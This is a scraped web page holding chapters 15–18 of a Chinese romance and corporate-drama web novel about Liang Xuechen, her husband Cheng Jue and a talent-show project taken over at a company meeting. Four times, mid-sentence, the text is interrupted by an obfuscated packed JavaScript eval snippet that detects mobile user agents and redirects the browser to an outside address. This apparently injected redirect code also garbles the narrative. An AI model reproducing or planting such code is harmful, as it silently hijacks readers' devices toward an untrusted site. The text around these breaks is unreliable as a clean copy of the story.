d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071562|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方雨婷在十九岁生日时买了一本关于沙漏的青春疼痛小说,那时候在女学生当中非常流行这种略带中二气息的疼痛小说。她把书里一句十分青春疼痛的句子改了改,当了好一阵子的空间签名:“没有人永远二十岁,而我正在快乐地奔向二十岁。” 三年后,她的生命永远停在了二十二岁。 梁雪琛不敢乱动,盯着这个沙漏发呆,直到屋子里越来越亮,窗外隐隐约约传进来的雨声彻底停止了,她才迷迷糊糊地睡了过去。 虽然如此,这个晚上也已经拥有近期难得的好眠。 七点整的时候,梁雪琛悄悄爬起来了。 醒来时程珏的手仍然搭在她的腰上,虽然知道他不容易醒,但她移开时仍是尽可能地小心。 她用十分钟的时间快速洗漱换好一身运动衣,跑下楼时程安杰已经准备好出门晨练,江美玲正给他递上帽子。 “雪琛早啊,要不要一起出去跑两圈?” 程安杰看到她的打扮,自然知道她这么明显的用意,于是给了她一块巧克力防低血糖。 这个别墅区依山傍水,路上有很多人在晨跑。 梁雪琛跟在程安杰身侧,他不说话,她也就一言不发。 两圈过后,程安杰在附近的小公园里停下。 梁雪琛在旁边的自动贩卖机上买了两瓶水,与他分别坐在公园里的石凳上。 “Alex晨起低血糖,淼淼又跟她妈妈一样不喜欢运动,幸好一直以来还有你愿意陪我这个老头子晨练。”程安杰喝了一口水,直白地说道:“雪琛,既然我们是一家人,那么如果你有什么话想对我说,不妨直接说。” “爸,我……” 梁雪琛知道程安杰从没有表现出对她家世背景的嫌弃,但在公公的面前,她总是变得小心翼翼。 “你想跟我说Alex和那个小明星的新闻吗?如果是这个事儿,你放心,我一定会让Alex给你一个满意的交待。当然那个小明星是你的人,你也可以按照自己的意愿处理,直接把她开掉也可以,她的赔偿金对我们来说不是问题。” 程安杰见惯了豪门公子的风花雪月,就算是他的亲生儿子,也算不上什么大事。 “谢谢爸。不过您放心,我相信Alex和诗雯之间的清白。”梁雪琛深吸一口气,鼓起勇气问道:“我是想问爸爸,您认为我提交的“新声计划”对嘉程而言有价值吗?” 程安杰又喝了一口水,过了好一会儿才笑着回答道:“淼淼很看好你的这个项目,她告诉我,选秀仍然是市场主流,这个题材有很多可以深挖的东西。好了雪琛,回家吧。” 程安杰起身往回走,梁雪琛没反应过来他话里的意思,连忙跟了上去。 “雪琛啊,有时候你太专注于事情本身,却忽略了一个事实——项目有没有价值,不单看它存在的本身,更重要的是这各项目能够对整体产生多大的影响。老实说,这次来上海,你的项目并不在我的重点关注范围里。”程安杰意味深长,“我记得你报上来的预算是一个亿,说得难听一点,就算这一个亿都打了水漂,对于我们家来说也没有太大的影响,顶多今年的年终财报稍稍没那么好看。我从一开始就没有反对意见。” 梁雪琛低头不语。 程安杰继续说道:“既然你站在Alex身边,就也算是程家的话事人了。那么你的眼光应该放长远一些,别总为了一亩三分地就变得畏畏缩缩,那会让人觉得很小家子气。” 15. 第十五章 吃醋 梁雪琛和程安杰回到家时,江美玲正在花园里看张妈浇花。 “哎,今天这么快就回来啦。”江美玲上前挽住梁雪琛的胳膊,“你们快去换身衣服,待会儿吃了早餐再去公司。” 梁雪琛跟在程安杰身后上楼,她的脸色有些苍白,抿着嘴不说话。 程安杰置若罔闻,回房前对她说道:“雪琛,你是个聪明人,我一直都觉得你很适合Alex。虽然我知道有些东西要慢慢学、慢慢改变,但还是希望你能再快一点适应现在的身份,凡事都要站在集团的角度思考问题。” “我会的,爸爸。” “嗯。”程安杰很满意她的态度,“有什么想不通的多找Alex商量,他会帮你的。” 梁雪琛知道所有问题的症结就在这里了。 结婚之后她才发现,无论自己怎么努力,都难以跟上程珏的脚步,他们的起跑线从出生时就已经注定了天差地别。 她做的所有事情在程家人心中大概都是如此微不足道的,她孤注一掷的项目在程安杰心里也不过是不用承担严重后果的尝试而已。 梁雪琛强忍住泪水,快速收拾好表情后打开门进了房间。 程珏刚洗过澡,穿着浴袍边刷牙边在房里走来走去。 看到梁雪琛进来,他轻轻扔过来一条干净的毛巾,口齿不清地说道:“赶紧把汗擦擦,别感冒了。每次爸爸过来你都大清早起来陪他跑步,怪不得他特别喜欢你呢,我和老姐都没这样的孝心。” 平时梁雪琛一定会回怼他几句,但今天实在没有什么心情,便随便应了几声后到衣帽间找换洗衣服去了。 程珏奇怪她的态度,跟着走到衣帽间,靠着门框问道:“我以为昨天晚上我们已经和好了,我还有什么得罪了你但没道歉的地方吗?” “我哪敢让被你得罪啊,只是跑步跑累了而已。”梁雪琛一把推开他,“我去冲个凉,没精力跟你说话。” 在花洒下,梁雪琛终于可以肆无忌惮地哭了出来,水声盖住她的哭泣声,水流冲走她的眼泪,洗澡时她总会有最大的安全感。 她怎么会不明白呢,有些距离即使再用心也无力跨越。 她回想不起当初到底是谁给了她这样的错觉,让她以为小说里的“门当户对”是一个可以靠自己去抗衡的成语。 洗完澡出来,程珏正靠在床上玩手机。 他已经换好一身合身的定制西装,西装外套被他扔在一边。 程珏总觉得梁雪琛不太对劲,关切地问道:“你没事吧,我总觉得你不太对劲。” 梁雪琛没有回答,反问道:“你不是有低血糖吗,怎么还不下楼吃早餐?” 她坐在梳妆台前快速化了个基础妆。 哭虽然是一个能让心情变好一些的方法,但哭过之后眼睛明显变得红肿,她必须要遮盖住脸上的憔悴。 “等你啊,我现在是爸妈的重点考核对象,时刻跟在你身边对我来说比较安全。”程珏把手机屏转向梁雪琛晃了晃,并不在意她看不看得清,“一一刚发了今天的几个热搜截图给我,大早上的买热搜是不是更便宜呐,我成了从几年前开始就背着妻子玩弄女明星感情的渣男了……不过评论里都在心疼诗雯,不知道是谁白送了个热搜给咱们。” 传言越来越离谱,也就显得更可笑了。都别说几年前程珏还没结婚,就算是唐诗雯被捧起来也只是这两年的事。 “那不是你活该吗,又关我什么事。”梁雪琛扔了个白眼过去。 虽说确实是关她的事,就算一开始的计划并非是拍到程珏,可要不是她让狗仔事先在停车场守着,也不会有人能够在安保如此严密的会场一路跟车出去。也是她给了几个小时的舆论发酵时间,把这则新闻的热度炒到实时第一…… 但归根结底怪程珏自以为是的怜香惜玉,才让这一切炒作有了可乘之机。 “是是是,是我的错,这次我真诚地道歉,不过以后我绝对不会让你再有机会利用我来炒作。总之我赖定你了,如果爸爸再提起来这件事,你得好好帮我解释。” “程珏,你是不是觉得自己很在理啊?”梁雪放下眉笔,冷笑道:“你明知那么多人盯着诗雯,却还把她带走,这不就像是有些偷腥的人明知道公园里装了摄像头,还放心大胆地和情人在路灯下卿卿我我么?我纵然手段过分,诗雯纵然一时糊涂跟你走了,但归根结底你才是事件的起因。” “梁雪琛,你怎么越说越过分了!” 一向好脾气的程珏一番话气得从床上坐了起来,他皱眉道:“诗雯是我的一个普通朋友,我和她是在你的眼皮子底下正大光明的往来。你明明知道她只是一个被通告挤满了全部生活的小女生而已,比起我,你是她更亲近的人,你大可不必用‘偷情’这么不堪的比喻来形容我和她吧?” 梁雪琛气急败坏地反驳道:“我说什么了我,我从来都不觉得诗雯有问题,你自己有问题就别把人家拖下水。男人都像你这样喜欢自我感动式地心疼别人吗?程珏,这件事到此结束,爸妈那边有任何疑问我一个人担着。但我警告你,我确实是一个不折手段的人,反之你要是帮我达成了目的,你想心疼谁都与我都无所谓,就算你真的要养情妇又关我什么事呢?” “你这人!” 程珏的耐心一遍遍被梁雪琛挑衅,他终于决定爆发时,她通红的眼眶一下子浇灭了他所有的怒意。过了好一会儿,他才开口问道:“梁雪琛,大清早的你这么无聊在吃什么飞醋啊?” 许多男女似乎都有一个恶趣味,就是享受对方因自己而产生的醋意。 意识梁雪琛的话里带着刻意隐藏但仍然明显的醋意,程珏忍不住笑了出来。 “程珏,我发现你这个人真的很会自我攻略。” 梁雪琛一拳又打进了棉花里,心里十分不畅快。 程珏的好心情和梁雪琛的坏心情形成了鲜明的对比,在去公司的路上,连一向不太在意旁人心情的程安杰都忍不住询问了几句。 “爸,我没事儿,只是这两天晚上雨下得太大,我睡得不太好,待会儿到公司喝杯咖啡就清醒了。”梁雪琛强迫自己露出笑容。 “爸,你别老用审问犯人似的语气说话嘛。”程珏自然地搂着梁雪琛的腰走进电梯,“等忙完这阵子,好好休息几天就没事了。” 在别人面前,他们总能扮演好一对恩爱夫妻的角色,他们连细节都演到极致,就算精明如程安杰夫妇,也看不出任何破绽。 “总经理和梁总的感情真好,羡煞旁人。”程安杰的特助徐风也忍不住夸了一嘴。 “是啊,雪琛聪明能干,我是很满意这个儿媳妇的。”在电梯到达嘉程娱乐所在的22楼时,程安杰也笑着说了一句,“Alex,遇见对的人很难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071563|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,你要好好珍惜。” “诶,姐,你不是说你的戒指不见了吗,怎么董事长一来就找到啦?”梁璐看到梁雪琛手上的戒指,夸张地笑出声来。 梁雪琛没好气地回道:“是啊,你说巧不巧,从垃圾桶里捡回来了。” “火气很大哦,姐,你也太勇了,董事长和董事长夫人都在家,你还继续生程总的气呐。” 梁雪琛白了她一眼:“梁小璐,你也知道董事长过来了呀?那还不赶快对一下今天的日程表。” 按照上午的行程安排,程安杰在9点到11点与公司内部各部门负责人开会,嘉程娱乐是独立注册的子公司,负责人梁雪琛不在这个会议的参会名单中。 短暂休息几分钟后,11点10分召开“新声计划”项目决策会。 按照这个行程安排,梁雪琛还有两个多小时的时间可以再把项目材料过一遍,以便在决策会上万无一失,获得高层的支持。 电话响起,梁雪琛按下免提。 “梁总好,我是总裁办秘书李希悦,今天上午的两个会议临时合并,董事长让您和梁秘书九点准时到25楼一号会议室开会,会邀已发送,请您查收。”来电的声音十分公式化,礼貌而疏远。 嘉程集团总裁办的每个人都有不带任何情绪工作的天赋。 挂了电话后果然就收到了会邀通知,但梁雪琛奇怪为什么来公司的路上并未听程安杰提起这件事。 梁璐显得很不安:“姐,我也要跟你去吗,我还没参加过有董事长参与的会议诶,总觉得有点害怕。” “害怕什么,你就像平时一样把会议纪要写好就行了。”梁雪琛抬眼看了一下时间,已经是八点五十分,她没有时间再捋项目材料了,但她并不怯场。“走吧,提前一点过去。” 说是提前一点,其实各个部门的负责人都已经到了,每个人身后都跟着助理或秘书。 梁雪琛虽然是嘉程娱乐的决策者,但嘉程集团的子公司太多,她只是其中之一,因此也没有看过如此阵仗。 但她还是大大方方地和所有人打了招呼,在最远端的位置坐下,梁璐则坐在她的身后。 九点整,程安杰和程珏分别带着董事长特助徐风、总经理特助韩祎进入会议室,众人起身,梁雪琛也跟着站了起来。 “哎,今天其实就是个普通的例会,大家不用太拘束,坐着就好。” 程安杰坐在主位上,程珏在他身边坐下,徐风和韩祎分别坐在他们身后。 “董事长太久没有来上海,我们都迫不及待向您汇报啦。”冯绍刚自信满满地开口,“在程总的带领下,去年一整年咱们上海分公司各方面的表现都很不错哦。” “上海分公司确实对集团去年财报的贡献最大,今天我可得好好听听大家的经验分享了。”程安杰突然看向梁雪琛,招手道:“雪琛,你怎么坐到那里去了,快过来呀,坐到Alex身边来。” 就像是大学上课偶尔开小差还被老师突然点名一样,梁雪琛被程安杰的声音吓了一跳,一时之间没反应过来他的意思。 程安杰一字一句道:“嘉程集团未来可是要交到你们夫妻俩手上的,雪琛,坐那么远你能听清楚吗?” 这会议室虽说挺大,可也不至于有听不清声音的角落啊——虽然心里这么想,但梁雪琛还是在众目之下坐到程珏旁边去了。 16. 第十六章 想法 按照集团项目立项先后的顺序,各个项目组从项目进展、到企划部配合的活动策划、再到营销部的营销成果分别进行汇报。现金流相关的内容因为涉及机密等级较高,所以会上并不需要直接给出详细说明,但仍然需要向程安杰汇报大概预算与收益预估。 程安杰在各个项目组的汇报过程中时不时提出一些问题,程珏基本上都可以配合项目负责人从容地应对这些问题。 而对于梁雪琛而言,虽然也曾听说过大多数项目,但对它们都没有太深入的了解,就连部分项目的立项目的也与她的认知相去甚远。 “上周景云岛度假村的验收工作顺利收尾,关于度假村的开业内容,我有个想法昨天上午和程总稍微聊了一下但还没有具体的方案。刚好现在嘉程娱乐的梁总在场,董事长,我可以占用大家时间把我的想法说一说吗?” 景云岛度假村开发案项目进度汇报完后,营销部负责人李孟凡突然开口,现场也有其他姓梁的高管,因此他特地在梁雪琛的称呼前加上了部门信息。 这个度假村开发案是嘉程集团上海分公司本年度级别排名前三的项目,由程珏直接牵头,梁雪琛从未参与过。她疑惑地看了一眼程珏,只见他微微皱起眉头,显然他并不知道李孟凡会在这里提及他们昨天讨论的事情。 “哦?景云岛的开业营销和雪琛有关系吗?”程安杰表现出强烈的兴趣。 程珏解释道:“这个只是李总跟我提的一些想法,还没有形成方案,可行性也需要再做进一步评估。不过李总的这个想法很有创意,既然现在提出来了,就继续说下去吧。” “没关系,有好的想法当然要积极提出来,集团一向鼓励大家各抒己见。”程安杰示意李孟凡往下说。 李孟凡回道:“我了解到梁总今年要搞的‘新声计划’到目前为止还没有确定录制地点,如果可以将景云岛作为选秀地点,既能为开业带来巨大的宣传作用,又为“新声计划”节省了场地费用。” 程安杰点点头:“这个想法挺好,具体怎么做呢?” 李孟凡继续介绍道:“把选秀的场地选在景云岛,用岛上配备的南区大剧院作为比赛舞台,我们将东边的别墅区作为选手们的宿舍,开放西区酒店给赞助商和制作人,再将门票与北区酒店对外捆绑销售,同时还可以根据节目热度增开相关的邮轮活动。不过具体的细节还得再进一步讨论。” 梁雪琛听完愣住了,过了好一会儿才被程安杰的声音拉回神:“雪琛,既然提到了‘新声计划’,你就把你那边的重点项目跟大家介绍一下吧。” 因为准备充分,她如意料中的用十分钟的时间把整个方案、预算以及需要得到总部支持的内容描述得十分清楚,但时间节点却完全在意料之外。 程安杰听完之后总结道:“孟凡提的这个想法确实非常好,Alex,好的想法你应该主动拿出来让大家提建议。” “董事长对不起,是我失职了。”程珏听得出来父亲在怪他压下了下属的一个可行性极高的好想法。 “是我唐突了,程总应该还没来得及和梁总商量,方案也还不成熟,所以才没有提到。是我一时冲动不按照流程来,董事长,对不起。”李孟凡连忙解释。 昨天他从程珏办公室出来时猜到这个方案大概率不会被程珏通过的,程珏并不想干涉梁雪琛的项目。但他不甘心这样一举多得的想法就这么被扼杀在摇篮里了,因此宁可冒着得罪程珏的风险也要提出来。 但这不代表他选择站在程珏的对立面,作为一个合格的下属,必须随时给老板台阶下。 “过程怎么样都不要紧,重要的是你们都是为了公司好。”程安杰并不继续计较,“Alex,我觉得这个方案可行,对两个项目组都是利远远大于弊的。后续你牵头开发案项目组和雪琛对接一下,尽快把完整的方案提交过来。” “董事长,”梁雪琛忍不住出声,“那么‘新声计划’的预算该怎么定呢?” 总部金融中心的负责人潘峰想了想,回答道:“之前梁总这边提出的一个亿预算,对于独立的项目来说是完全没问题的。但如果要与景云岛开业做联动的话,就要重新测算两个项目重叠部分的费用。景云岛毕竟是总投资80个亿的项目,‘新声计划’算是锦上添花。我建议可以把景云岛的部分宣传预算合并到‘新声计划’里。除此之外场地费的流水也是要过一遍账的,所以给‘新声计划’两个亿的预算比较合理。” 梁雪琛差点儿喊出声来:“两个亿?” “对,不过这个只是预估的数,李总的具体方案出来之后我才能给明确的数字。也许预算还会往上提一些。” 一个亿的预算直接翻倍,对于项目而言可操作空间就扩大了不止一倍。但梁雪琛知道这也意味着她花费大半年心思策划的东西,将要面临更多的顾虑。 她并不想看到这样的结果,于是力争道:“可是董事长,这样一来‘新声计划’就会从纯粹的选秀节目变成具有广告性质的活动,这个界限就不可能清晰了。主次不分也会让这一系列活动内容的意义变得模糊,恐怕‘新声计划’会达不到预想的效果。” “这一点倒是不用担心,”一直沉默的程珏终于开口,“只要我们尽可能减少景云岛的硬广感,那么景云岛就只是一个漂亮的拍摄场地而已,无形的宣传比强硬灌输进观众脑海里更好。” “可是如果让‘新声计划’违背本意的话,这个项目的意义就失去了一大半。” “新声”的意思是梁雪琛想要找到纯粹动人的声音,首先就要远离厚重的商业感。 程安杰打断儿子儿媳的对话:“雪琛,不管你这个‘新声计划’的本意是什么,它既然在嘉程的体系内运作,就一定要以集团的利益为先。” “董事长……”梁雪琛仍不放弃挣扎。 “好了,就这么定了,‘新声计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071564|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划’与景云的开业做深度捆绑,至于你们要表达的内容和细节就让你们自己谈。”程安杰意味深长地看着梁雪琛,再次强调:“你的目光不应该只局限在嘉程娱乐上,做任何事之前都要想一想什么才能使集团的利益最大化。” “雪琛,等等!”会议结束之后,程珏快步追上正要走进电梯梁雪琛。“你在生气吗?” “难道我不应该生气吗?”梁雪琛极力控制自己的怒火,“程珏,你看看我是不是很像一个白痴啊。为了总部能批下一个亿的预算,我把方案修改了一遍又一遍。但你们随随便便的一个想法就能改变项目的方向,你甚至没有提前告诉我这个想法的存在。” 程珏解释道:“我不想告诉你是因为我知道‘新声计划’对你的重要性,我并不希望李总那边介入进来,不想别人来干涉你的决定。” “但你也没有直接拒绝李总对吗?因为李总的理由很充分,考虑到集团利益,他提出的方案是更优的。你是集团的继承人,考虑全局无可厚非。”梁雪琛的表情中充满心酸,“我生气的点在于,你明明有机会告诉我这件事,可你下意识地认为我无法应对,所以自以为是地隐瞒我,你觉得你在帮我,但其实你从来没信任过我,你的潜意识里认为我没法处理好所有的突发状况。” “并没有这么严重……” “我真的很得寸进尺吧?没这个工作能力,还总不领你的情。”她觉得自己快要昏厥过去了,必须尽快逃离这里。“璐璐,我们走吧。” “等等,你中午要不要跟我和爸爸一起吃饭。” “我是一个靠关系才走到今天这个位置的人,如果再不努力一点把方案思路整理清楚,会把程家的脸都丢尽的,不是吗?” 梁雪琛按下电梯关门键。 “雪琛……” “玉玉,雪琛在气头上,你让她冷静一下吧。”韩祎轻轻拉住他的手臂,“夫妻之间有什么事都应该有商有量,李总的建议你连我都告诉了,没想到你却不告诉雪琛,确实挺过分的。” “我只是不希望她为难。她在招商计划里注明了不能干涉选秀全过程,并将赞助商数量控制在三家以内,不就是希望不要有太多顾虑吗?景云岛的预算比‘新声计划’多了一个数量级,关联项目后肯定会受影响的。” “你怎么知道雪琛没法拒绝李总的建议呢?就算雪琛考虑过后不得不答应这个提议,你又怎么知道雪琛没办法处理好呢?玉玉,雪琛又不是等待你来拯救的小女生,你也不是居高临下的救世主。” 韩祎说完,转身往总裁办公室走,程珏连忙跟上去。 “哎,算了,等她气消些我再去找她谈谈吧。”程珏转移话题,“一一,我爸昨天就说挺想见你的,中午我和他一起吃饭,你要来吗?” 韩祎叹道:“不了,我知道我爸肯定没少在你爸面前挑我的毛病,我不想一顿饭让你爸忍着不骂我。我中午去安安那儿吃吧。” 17. 第十七章 安慰 紧挨着嘉程大厦楼下花园的大楼外墙转角处,有一个被绿植遮挡得严严实实的角落。这是梁雪琛需要冷静时最常来的地方,除了远处高架桥上正在开车的司机,没有人能看见这里。 她几乎是强撑着走到这里。 靠着墙角坐在墙沿上,梁雪琛颤抖着手拿出手机,拨通那个这几年来最熟悉的号码。 电话那头的人很快把电话接起,平和的声音传了过来:“雪琛,发生了什么事儿啦?没关系我有时间,你慢慢说。” “Alice……”委屈了一个上午的情绪终于得到释放,一向逻辑严谨的梁雪琛此刻卸去了所有伪装,混乱地向心理医生诉说着不到二十四不到二十四小时内经历的一切,包括江美玲的病、程安杰的期许、高层会议上突如其来的决议,以及程珏自以为是的决定。 Alice认真地倾听,并在每一个稍作暂停处顺着梁雪琛的话做出回应。 几乎是与两年前和程珏结婚的时间重叠,这位以给多位文体界名人做心理疏导而声名鹊起的女人成为了梁雪琛的秘密心理医生。 这件事她不曾告诉任何人,包括与她关系最亲密的韩祎和景安安。 她与Alice的缘分并非因她慕名而至,她们曾在同一所学校留学,并且有过一个学期的合宿经历。 此时梁雪琛的表达能力已经如喝醉汉一般颠三倒四:“我真的做不到,我再怎么努力也只是个没有眼界的人……他们一句话就可以左右我费尽心机获得的东西,Alice你知道吗,董事长根本看不上我的方案,他觉得我在小打小闹……” Alice耐心地引导道:“那你最在意的想法是什么,其他人的想法是什么?” “我……”梁雪琛突然低声哭了起来,“我不知道,我真的好痛苦,我不知道程珏为什么和我结婚,也不知道要怎么做才能让程家人真的认可我。妈妈对我最好,可她生病了……Alice,一定是我哪里做错了,我得到的东西太多,总归要用更大的代价偿还的……” “雪琛,你没有做错任何事情。”Alice耐心地收纳梁雪琛的情绪,“你才刚完全停药,情绪容易大起大落,这完全不是你的问题。你现在要不要过来,你太累了,需要好好睡一觉。” 梁雪琛胡乱擦了擦眼泪,茫然地摇头:“我不能停下来,我还有很多事要处理……Alice谢谢你,我已经好多了,跟你说完之后我就舒服多了……” “没关系的,放轻松。”Alice的声音仿佛有令人安神的魔力,“等你有空了再过来。不管你遇到什么情况,第一时间打给我好吗。即使我在工作,也会找人到你身边帮你。” 失态的时间接近20分钟,把所有心事说出来之后梁雪琛变得稍微冷静了一些,她应声后挂了电话,但仍是呆呆地坐着,眼神空洞。 “雪琛,你怎么坐在这边?”一个熟悉的声音在头顶想起,梁雪琛抬起头,对上了来人的双眼。 这是她在青春岁月里见过的最迷人的眼睛,在认识他之前,她不知道世上竟然有人的睫毛可以那么长,眉眼里可以那么多情。 “你在哭吗?”关磊从口袋里拿出一包纸巾在她的面前蹲下,抽出其中一张的一角递到她的面前。 在梁雪琛的生命里,大概只有两个人见过她肆无忌惮的眼泪——一个是Alice,另一个就是关磊。 她不常哭,因为她一直觉得哭是服输的表现、是弱者的标志。但Alice曾告诉她,哭只是一个再正常不过的表达情绪的方式,每个人拥有哭的权利。 关磊是第一个看到她哭的人。 当时梁雪琛就像现在这样靠着墙角坐下,宿舍楼外的墙角紧挨着一个有许多流浪猫跑来跑去的小树林。 只怪她自己粗心漏报了特别奖学金里的一个加分项目,让原本已经有十足把握收入囊中的奖学金被人截胡。这个特别奖学金是那年校友赞助的额外的内容,没有那么重的含金量,也没有那么高的金额,因此在别人看来这件事并没有那么重要。 但她的内心仍然充满了自责和不甘心,她的难过无处可说,只能在宿舍熄灯之后找到一个不会有人注意到的角落,将自己完全隐入黑暗中,毫无顾虑地大哭一场。 当时关磊和她并没有那么熟悉,硬要说上有什么关系的话,也不过是关磊和韩祎都在团学联文艺部,而梁雪琛被方雨婷半强迫着去看过几场关磊主演的话剧,跑到后台打过几次招呼。 那个时候也像现在这样,他蹲了下来给她递上纸巾。他不问她为什么哭,只是静静地等她擦干眼泪。 “你怎么会在这里?” 梁雪琛已经基本恢复了平日里的冷静。 关磊笑道:“不是你约我今天过来聊‘新声计划’的内容吗?刚刚我在车上看到你往这里走,摇下车窗叫你也不理我。我有点担心,就让欣匀先去停车,我自己就走过来找你了。” 说话间关磊的电话震动,看到上面的来电显示他立刻接起:“欣匀,停好车了吗……对,确实是雪琛……没什么事儿,她就是过来散散步……” 关磊把电话拿开些,问道:“你吃过午饭了吗,欣匀打包了些汉堡薯条,本来我打算在车上吃的,如果你没吃的话要不去你办公室一起吃?” 与关磊的助理熊欣匀汇合之后,三人从公司正门走进去等电梯。 突然看到电梯前的身影,梁雪琛放慢了脚步,正犹豫着要不要直接往前时,背后熟悉的声音响起:“雪琛,你在这里做什么?” 梁雪琛只好停住了脚步,转过身的时候脸上已经挂上了微笑:“董事长。” 也不知程安杰和程珏到哪里去吃饭了,一般而言他们很少从人来人往的大门走进来。二人身后跟着徐风和冯绍刚,共进午餐的人数意外的少。 想起关磊还站在身边,梁雪琛连忙向程安杰介绍道:“董事长,这是‘新声计划’拟邀请的制作人关磊,他也是最当红的创作歌手之一。这位是关磊的助理熊欣匀。关磊,欣匀,这是我们集团的程董事长。” 几人寒暄一番,程安杰突然对梁雪琛说道:“雪琛,在休息时间不需要称呼我为董事长。” “好的,爸爸。” 梁雪琛不小心与程珏对上了视线,刚想要避开,对方就开口问道:“你吃过午饭了吗?” 程珏瞄了一眼熊欣匀手上的外卖袋。 “谢谢……”她本想用疏远的语气说“谢谢程总的关心”,瞥见程安杰看了过来,只好硬生生地把到了嘴边的话吞下,“我已经吃过了。” 面对程珏,她在这样的无关紧要的事情上可以随随便便做到说谎不眨眼睛。 “董事长,你们怎么都在这里。” 梁雪琛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071565|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要避开的人还是朝这里走了过来。 关磊怔怔地看着韩祎,韩祎却像一个第一次见面的陌生人一样给了他礼貌的致意。 几人乘坐同一部电梯向上,这个密闭空间里的人虽然并不密集,但梁雪琛仍然觉得空气都被抽走了一般窒息。 程珏突然轻声问道:“你和一一一起吃的午饭吗?” 没有特定的主语,但电梯里的人都知道程珏提问的对象是梁雪琛。 “没有,韩祎应该是去安安那里吃的。”梁雪琛鬼迷心窍似的加上了一句,“我是和关磊一起吃的。” 说完她便后悔了,有些谎言没有说出口的意义,但她总是控制不住自己。 “哦,这样啊……” 22楼到达的提示音响起,电梯门打开,梁雪琛带着关磊和熊欣匀飞快地离开了这个完全感受不到氧气的地方。 梁雪琛和关磊已经不是第一次讨论“新声计划”各个环节的细节了,例行沟通会议一如既往的顺利。 开会期间,梁雪琛不断接到的与场地相关的对接需求会邀,她将这件事一五一十地告知了关磊。 “你放心,我一定会把景云岛的商业干扰降到最低,整个过程不会有人干涉你的选择,你写的那几首歌绝对可以找到最合适的演唱者。” 几个小时之后,梁雪琛把关磊送到电梯口。她一遍遍地给关磊承诺,同时也一遍遍地提醒自己要坚持的东西。 “雪琛,谢谢你,我不会让你失望的。”临走前关磊还是忍不住问出口:“我知道这半年多来你为这个项目付出了许多心血,甚至有些……有些孤注一掷的感觉,为什么在当初那么多人不看好的情况下,你仍然坚持启动这个项目呢?” 为什么呢……梁雪琛看向落地窗外,她也不知道如此执着究竟是为了雨婷说过的话,还是为了让韩祎曾经的失望变成希望,又或者仅仅是为了她自己? 也许她只是想为关磊做点什么,然后把最初的想法放大成为了一个可以双赢的项目。 她当然不会坦诚自己的想法:“哪有那么多的想法,当然是只为了商业利益呀,我认真计算过,对于嘉程娱乐来说这是笔只赚不亏的买卖。” “那为什么选择我?” 电梯打开,梁雪琛把关磊推进电梯里,熊欣匀跟在他身后走了进去。 “除了你,这个项目我没有其他选择。”梁雪琛朝关磊挥挥手。 电梯门关上,她看着电梯的数字一点点往下降。 除了关磊,这个项目就没有过其他选项,因为没有关磊,也就不会有这个项目。 梁雪琛失神,竟没发现旁边另一部电梯从25楼开始下降。 等来人从电梯里走出来时,她想逃已经来不及。 “我刚刚打内线到你办公室,梁秘书说你今天的会都开完了。所以你现在可以下班了吗?” “哦?董事长一来你就想起该搭戏台演一出好好先生的戏码吗?” “阿宸已经把爸爸接回家了,今天我们是一起出门的,所以我下来接你回家。”程珏强微微皱眉,忍住怒意耐心解释,“梁雪琛,你既然这么喜欢演戏,那你就跟我一起在爸爸妈妈面前好好演一对琴瑟和鸣的夫妻。如果不想演戏,就跟我好好沟通,当一对真的举案齐眉的夫妻。你别整天拐弯抹角阴阳怪气的,搞得大家都不舒服。” 18. 第十八章 医院 也不知道究竟哪一件事才是导火索,让梁雪琛和程珏进入了一种微妙的关系状态中。 在程安杰来上海出差的这段时间里,梁雪琛坚持每天早上七点整起床,接着花十分钟的时间洗漱,然后下楼陪程安杰外出晨跑。七点四十分左右回来,飞快地跑上楼冲凉、换衣服、化妆,差不多八点十分的时候与程珏一起下楼吃早餐。 他们都默契地不再提起曾经的争执,就像一个不经清创就强行缝上的伤口,表面已经完全愈合了,但他们都知道里面或许正在慢慢溃烂。程珏每一次试图戳破这个伤口时,梁雪琛便会变得失去理智。 于是两人互相之间变得客气和疏远,生怕一个不小心戳到了彼此的痛处。 对于“新声计划”,梁雪琛最终还是认命了,接受了自己煞费苦心准备的项目,变成为集团的大项目锦上添花的装饰品。 她唯一能做的只有尽可能让这个项目不要过于偏离了设想的轨道。 